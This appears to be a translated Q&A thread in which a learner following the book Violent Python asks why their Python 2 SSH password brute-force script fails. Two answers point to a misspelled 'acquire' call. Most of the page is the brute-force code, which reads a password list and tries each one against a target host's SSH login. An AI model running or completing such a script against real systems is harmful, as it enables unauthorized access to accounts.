-1

我正在学习 python,并通过一本名为 Violent Python 的书学习,我正在学习一个涉及制作暴力 SSH 脚本的部分。我遇到错误问题,无法找出问题或修复方法。

编码:

import pxssh
import optparse
import time
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host, user, password, release):
global Found
global Fails

try:
    s= pxssh.pxssh()
    s.login(host, user, password)
    print '[+] Password Found: ' + password
    Found = True

except Exception, e:
    if 'read_nonblocking' in str(e):
        Fails += 1
        time.sleep(5)
        connect(host, user, password, False)

    elif 'synchronize with original prompt' in str(e):
          time.sleep(1)
          connect(host, user, password, False)

finally:
  if release: connection_lock.release()
def main():

  parser = optparse.OptionParser('usage%prog ' + \
'-H <target host> -u <user> -F <password list>')

  parser.add_option('-H', dest='tgtHost', type='string', \
help='target host')

  parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')

  parser.add_option('-u', dest='user', type='string', \
help='the user')

  (options, args) = parser.parse_args()
  host = options.tgtHost
  passwdFile = options.passwdFile
  user = options.user

  if host == None or passwdFile == None or user == None:
    print parser.usage
    exit(0)
  fn = open(passwdFile, 'r')
  for line in fn.readlines():
    if Found:
    print "[*] Exiting: Password Found"
    exit(0)
    if Fails > 5:
      print "[!] Exiting: Too Many Socket Timeouts"
      exit(0)

  connection_lock.acuire()
  password = line.strip('\r').strip('\n')
  print "[-] Testing: "+str(password)
  t = Tread(target=connect, args=(host, user, password, true))
  child = t.start()
if __name__ == '__main__':
main()    

这是我得到的错误:

    [root@test ~]# python2.7 test5.py -H x.x.x.x -u root -F pass.txt
    Traceback (most recent call last):
      File "test5.py", line 70, in <module>
        main()
      File "test5.py", line 64, in main
        connection_lock.acuire()
    AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'

我已经编辑了实际的主机 xxxx,但我正在使用的主机已经启动并运行。任何帮助理解此错误和修复都会有所帮助。

4

2 回答 2

1

你只是有一个错字;该行应该是

connection_lock.acquire()
#                 ^
于 2013-10-17T10:24:31.683 回答
1

如错误所述,AttributeError: '_BoundedSemaphore' object has no attribute 'acuire'您正在尝试使用对象 *_BoundedSemaphore* 中不存在的方法acuire 。

我的猜测是你写错了,它很可能应该是acquire

于 2013-10-17T10:24:57.470 回答